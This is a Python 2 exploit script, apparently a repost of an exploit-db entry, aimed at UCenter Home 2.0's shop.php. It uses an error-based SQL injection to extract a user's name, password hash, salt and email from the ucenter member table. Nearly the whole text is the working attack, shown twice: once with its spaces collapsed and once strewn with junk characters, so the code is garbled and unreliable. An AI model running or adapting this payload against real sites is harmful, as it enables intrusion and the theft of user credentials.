#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
1 m7 j! Q& V6 J. g! V) Y
6 X& e7 k: ~4 r: n, `
! A9 B6 u" d7 {' Y$ I& t#!/usr/bin/env python 9 Q5 t$ u' Y2 x- q" o( {' A9 E
; g J ^7 N- m& J5 vimport sys : U0 m1 V6 M' k
import urllib2
0 @ `; @) Z) e2 R/ _# Gimport re ! [! ]. Z. Q, V- i3 |
/ f# y6 s; _* z' ldef info(): O5 Z( P3 i9 M+ ?4 M, Z
print 'From:http://www.exploit-db.com/exploits/14997/'
+ ~3 D" P; V* e7 |+ u print 'http://www.hake.cc/Web_loudong/' ! [. }8 l z- Y# Q9 z6 o
print 'changed:qiaoy' 1 u! I1 n: M0 q9 B- c2 ^. Q
print 'exp:'
- @/ R9 f) F: q# G9 U, T print ' ./UCenter_Home_2.0.py site'
3 F4 S, A. D V& Q/ i 5 T {& f$ W/ N% n" v* ~. O. r
def main(): s9 a& m$ l9 k" p1 m
if len(sys.argv) != 2:
2 N) h; k" ~. L# T, k info() . g' s" b' u+ n- S; y0 h
else:
$ m1 ?& a. u4 q; B/ Y site = sys.argv[1] 6 A3 g0 S9 K4 z. H9 c0 l m8 X7 Q5 V( ~
if site[0:7] == 'http://': . ^: y' Y3 Y8 [! r0 g
sitesite =site
- s3 L; C8 D! h- L3 c/ } elif site[0:8] == 'https://':
?8 @* g4 \& w! f8 B6 S sitesite = site
& E# a: Z O+ t- @ else: : Z0 H# r3 c, ^: m
site = 'http://'+site
0 w. _, t2 V2 _ try: 5 {. p: ]2 J4 g& L7 v% ]$ V5 s8 D
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
1 @5 { h: u4 }: O+ h1 e( X/ I Value = urllib2.urlopen(url).read() & W/ w6 s. @2 O$ T+ s @8 e' @
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] $ {7 V/ b! F& t- Z- b
hacked = Msg.split(':')
/ Y9 D( T, z5 Y5 k' L! b' T& G print 'Name: '+hacked[1] # q9 i; m1 M3 X
print 'Passwd: '+hacked[2]
1 ]3 N9 |6 Z' v print 'salt: '+hacked[3]
1 \) t0 I: X) v$ K print 'email: '+hacked[4]
h& G6 P3 M3 o4 t& Y$ |6 C9 m8 d except:
" ?; r( U; e7 F) a! c print 'Sorry,I can\'t work............' 6 C* o2 s; O& R( w" X( `
, o( P" W1 e+ b" Q7 k' h$ s
if __name__ == '__main__':
2 \; @+ f! E$ h1 `# O6 N' v main() |